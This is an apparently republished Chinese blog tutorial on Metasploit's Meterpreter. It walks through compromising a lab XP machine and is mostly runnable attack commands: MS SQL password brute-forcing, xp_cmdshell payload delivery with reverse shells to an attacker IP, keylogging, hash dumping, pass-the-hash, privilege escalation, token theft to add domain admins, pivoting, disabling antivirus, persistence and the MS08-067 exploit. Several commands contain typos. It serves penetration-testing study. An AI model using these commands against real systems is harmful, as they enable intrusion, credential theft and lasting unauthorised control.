6-Meterprter

来源:互联网 发布:仿ios时间选择器 js 编辑:程序博客网 时间:2024/04/27 20:57

Meterpreter–Metasploit框架中,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回给你我们的一个控制通道。

Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码hash值提取、特权提升、跳板攻击。。。

一、攻陷XP虚拟机–取得Meterpreter shell

1、Nmap端口扫描

端口扫描,识别开放的服务,寻找可以进行漏洞利用的端口

msf>nmap -sT -A -Po 192.168.33.130

2、攻击MS SQL

对MS SQL的1433端口进行攻击。
(1)、先确认是否安装了MS SQL,尝试对MS SQL服务进行暴力破解获取密码。
TCP端口会进行动态分配,UDP1434端口没有变化,尝试如下扫描。

msf>nmap -sU 192.168.33.120 -p1434

(2)、以MS SQL为目标,使用mssql_ping模块找出MS SQL服务端口,进行用户口令猜测。但动静很大~

msf>use scanner/mssql/mssql_pingmsf auxiliary(mssql_ping)>show optionsmsf auxiliary(mssql_ping)>set RHOSTS 192.168.33.1/24msf auxiliary(mssql_ping)>set THREADS 20msf auxiliary(mssql_ping)>exploit

这里写图片描述

(3)、暴力破解MS SQL服务器
使用mssql_login模块来破解

msf>use scanner/mssql/mssql_loginmsf auxiliary(mssql_login)>show optionsmsf auxiliary(mssql_login)>set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txtmsf auxiliary(mssql_login)>set RHOSTS 192.168.33.130msf auxiliary(mssql_login)>set THREADS 10msf auxiliary(mssql_login)>set verbose falsemsf auxiliary(mssql_login)>exploit

这里写图片描述

使用了Fast-Track,可以暴力破解和自动攻击MS SQL。

(4)、xp_cmdshell
以sa管理员账户运行MS SQL,执行SQL server中缺省装载的xp_cmdshell内建存储程序,xp_cmdshell允许直接与底层操作系统进行交互并执行命令。
为了在系统中注入攻击载荷,需要与xp_cmdshell进行交互,添加本地管理员,并通过一个可执行文件来植入攻击载荷。

msf>use windows/mssql/mssql_payloadmsf exploit(mssql_payload)>show optionsmsf exploit(mssql_payload)>set payload windows/meterpreter/reverse_tcpmsf exploit(mssql_payload)>set LHOST 192.168.33.129msf exploit(mssql_payload)>set LPORT 443msf exploit(mssql_payload)set RHOST 192.168.33.130msf exploit(mssql_payload)set PASSWORD password123msf exploit(mssql_payload)>exploit

最终获得了Meterpreter的控制权。

回顾:
1、mssql_ping找到mssql服务;
2、mssql_login猜测MS SQL的sa的口令;
3、mssql_payload与MS SQL交互并上传Meterpreter shell,从而获得对系统的完整入侵。

(5)、Meterpreter基本命令

  • 截屏–screenshot,获取活动用户的桌面截屏
  • 获取系统运行的平台–sysinfo

(6)、获取键盘记录
step1:ps获取目标系统正在运行的进程。
step2:migrate将会话迁移至某一进程空间。
step3:启动keylog_recorder模块。
step4:一段时间后使用CTRL-C终止。cat捕捉记录的内容。

meterpreter>psmeterpreter>migrate 1668meterpreter>run post/windows/capture/keylog_recorderroot@bt:~# cat /root/.msf3/loot/key.txt

二、挖掘用户名和密码

使用hashdump输入模块,提取系统的用户名和密码哈希值。

获取安全账号管理器(SAM)数据库,需要运行在SYSTEM权限下,以绕过注册表的限制,获取受保护的存有Windows用户名和密码的SAM存储。

use priv命令–意味着运行在特权账号上。

meterprter>use privmeterprter>run post/windows/gather/hashdump

三、传递hash值

传递哈希值,仅仅需要密码的哈希值,不需要知道密码的明文序列。
使用windows/smb/psexec模块实现。

msf>use windows/smb/psexecmsf exploit(psexec)>set PAYLOAD windows/meterpreter/reverse_tcpmsf exploit(psexec)>set LHOST 192.168.33.129msf exploit(psexec)>set LPORT 443msf exploit(psexec)>set RHOST 192.168.33.130msf exploit(psexec)>set SMBPass 哈希值msf exploit(psexec)>exploit

设置好参数后,将SMBPass变量设置为先前获得的密码Hash值。

四、权限提升

获取了目标系统的访问权限后,使用net user创建限制权限的普通用户账号。

step1:在XP目标机上创建用户bob password123用于

C:\Documents and Settings\Adminstrator>net user bob password123 /add

step2:创建基于Meterpreter的攻击载荷程序–payload.exe,复制到目标机并在bob账户下运行。

root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.33.129 LPORT=443 X>payload.exeroot@bt:/opt/framework3/msf3# msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.33.129 LPORT=443 Emeterpreter>getuid

创建Meterpreter攻击载荷时,需要指示反向shell连接到攻击机地址和端口。随后调用msfcli监听端口并等待,有连接时,将会开启Meterpreter shell。

在Meterpreter会话中进入到shell,查询bob用户权限。
查询完毕,ctrl+z退出shell,并保留Meterpreter会话。

meterpreter>shell

这里写图片描述

step3:获取SYSTEM权限。
use priv–加载priv扩展,以便访问某些特权模块
getsystem–尝试将权限提升到本地系统权限或管理员权限
getuid–检查获取的权限等级,若服务器用户名返回的是NT AUTHORITY/SYSTEM,则取得了管理员权限。

meterpreter>use privmeterpreter>getsystemmeterpreter>getuid

使用rev2setf,切换回Meterpreter shell会话中初始用户账号

五、令牌假冒

攫取目标系统中的一个Kerberos令牌,在身份认证环节,来假冒当初创建这个令牌用户。

Kerberos:一种网络认证协议,通过秘钥系统为客户机/服务器应用程序提供强大的认证服务。认证过程实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,假定网络上传送的数据包可以被人以读取、修改、插入。通过传统的密码技术,执行认证服务。

六、使用ps

step1:
ps–列举当前运行的应用程序以及运行这些应用的用户账号。
steal_token+PID参数–盗取域管理员用户的令牌。

meterpreter>psmeterpreter>steal_token 380

这里写图片描述

step2:在某些情况下,ps命令不能列出域管理员运行的进程。
incognito–列举出系统上可以利用的令牌。
list_token -u–列举令牌

meterpreter>use incognitometerpreter>list_token -u

step3:
冒充ihazdomainadmin令牌
添加账户–确保制定了-h参数,这个参数是域管理员账号添加到的目的地址
赋予域管理员的权限–确保制定了-h参数,这个参数是域管理员账号添加到的目的地址

meterpreter>impersonate_token SNEAKS.IN\\ihazdomainadminmeterpreter>add_use omgcompromised p@55word! -h 192.168.33.50meterpreter>add_gruop_user "Domain Admins" omgcompromised -h 192.168.33.50

七、跳板攻击–pivoting

允许使用已经取得控制的Meterpreter终端来攻击网络中的其他系统。

从一个子网攻击一个目标系统,通过这个系统建立路由去攻击其他机器。

step1:对XP机器进行攻击,成功后以此为据点,在对内部网络的一个Ubuntu系统进行攻击。

  • 攻击机IP 10.10.1.1/24
  • 目标是192.168.33.1/24

假定取得了对服务器的访问权限,现在关注点在如何与目标网络建立连接。

  1. run get_local_subnets–在Meterpreter中显示受控系统上本地子网
  2. 成功入侵XP系统并取得访问权限后,将攻击会话放到后台运行
  3. 在MSF终端添加路由命令,告知系统将远程网络ID通过攻击会话1来进行路由。
meterpreter>run get_local_subnetsmeterpreter>backgroundmsf exploit(handler)>route add 192.168.33.0 255.255.255.0 1msf exploit(handler)>route print

step2:对目标Linux系统进行第二次渗透攻击。

  1. ifconfig–显示网络信息
  2. LHOST–指定的是攻击机的IP地址
  3. RHOST–指定的是目标网络子网中的地址
    通过已经攻陷的机器建立隧道,来对目标子网中的地址进行攻击。
    所有产生的流量都会通过这个受控机器与子网中的其他的目标进行通信。
msf exploit(handler)>use linux/samba/lsa_transnames_heapmsf exploit(lsa_transnames_heap)>set payload linux/x86/shell/reverse_tcpmsf exploit(lsa_transnames_heap)>set LHOST 10.10.1.129msf exploit(lsa_transnames_heap)>set RHOST 192.168.33.132msf exploit(lsa_transnames_heap)>set LPORT 8080msf exploit(lsa_transnames_heap)>ifconfigmsf exploit(lsa_transnames_heap)>exploit

八、使用Meterpreter脚本

run+脚本名字命令,可以在Meterpreter终端中运行扩展脚本。
run vnc–在远程系统上安装VNC会话。
screen_unlock–对目标机器上的桌面进行解锁。

1、迁移进程
若攻击针对IE之类的服务进行漏洞利用,当IE关闭,则Meterpreter会话也随之关闭。为了避免连接的丢失,使用迁移进程的后渗透攻击模块,将Meterpreter会话迁移到内存空间中其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接。

meterpreter>run post/windows/manage/migrate

2、关闭杀毒软件

meterpreter>run killav

3、获取系统密码Hash值
获取密码的hash副本,帮助实施hash传递攻击,或是暴力破解还原明文。

meterpreter>run hashdump

4、查看目标机上的所有流量
运行数据包记录脚本,所有被捕获的包都以.pcap的文件格式存储,并能够被Wireshark解析。

meterpreter>run packetrecorder -i 1

5、攫取系统信息
Scraper脚本–列举所有你想从系统得到的信息,攫取用户名和密码,下载全部注册表,挖掘密码hash值,手机系统信息以及输出HKEY_CURRENT_USER(HKCU)。

meterpreter>run scarper

6、控制持久化
Meterpreter的persistence脚本允许注入Meterpreter代理,其确保系统重启后Meterpreter还能运行。

  • 若是反弹式连接方式,可以设置连接攻击机的时间间隔。
  • 若是绑定式连接方式,可以设置在指定时间绑定开放端口。

运行persistence脚本让系统开机自动启动Meterpreter(-X),50秒(-i 50)重连一次,使用端口为443(-p 443)

meterpreter>run persistence -X -i 50 -p 443 -r 192.168.33.129msf>use multi/handlermsf exploit(handler)>set payload windows/meterpreter/reverse_tcpmsf exploit(handle)>set LPORT 443msf exploit(handle)>set LHOST 192.168.33.129msf exploit(handle)>exploit

使用完这个功能,必须确保完成后删除。如果忘记,任何攻击者都可以无需认证,获取这个系统的访问权。

移除Meterpreter代理。

九、向后渗透攻击模块转变
Meterpreter扩展脚本向后渗透攻击模块迁移。
run post/

十、将命令行shell升级为Meterpreter

root@bt:/opt/framework3/msf3# msfconsolemsf>search ms08_067msf>use windows/smb/ms08_067_netapimsf exploit(ms08_067_netapi)>set payload windows/shell/reverse_tcpmsf exploit(ms08_067_netapi)>set TAGET 3msf exploit(ms08_067_netapi)>setg LHOST 192.168.33.129msf exploit(ms08_067_netapi)>setg LPORT 8080msf exploit(ms08_067_netapi)>exploit -zmsf exploit(ms08_067_netapi)>sessions -u 1msf exploit(ms08_067_netapi)>sessions -i 1
  1. setg命令设置LHOST和RHOST参数(setg设置为全局变量
  2. 使用sessions -u 1命令升级为Meterpreter。
  3. exploit -z命令,允许在成功攻击目标后暂时不使用控制会话进行交互。exploit命令,也可以ctrl+z将控制会话放到后台运行。

十一、附加组件Railgun组件操作Windows API
将Railgun添加到Metasploit框架,通过Meterpreter调用Windows API。

Meterpreter进入到交互式ruby shell(irb)。

meterpreter>irb>>clinet.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")
0 0
原创粉丝点击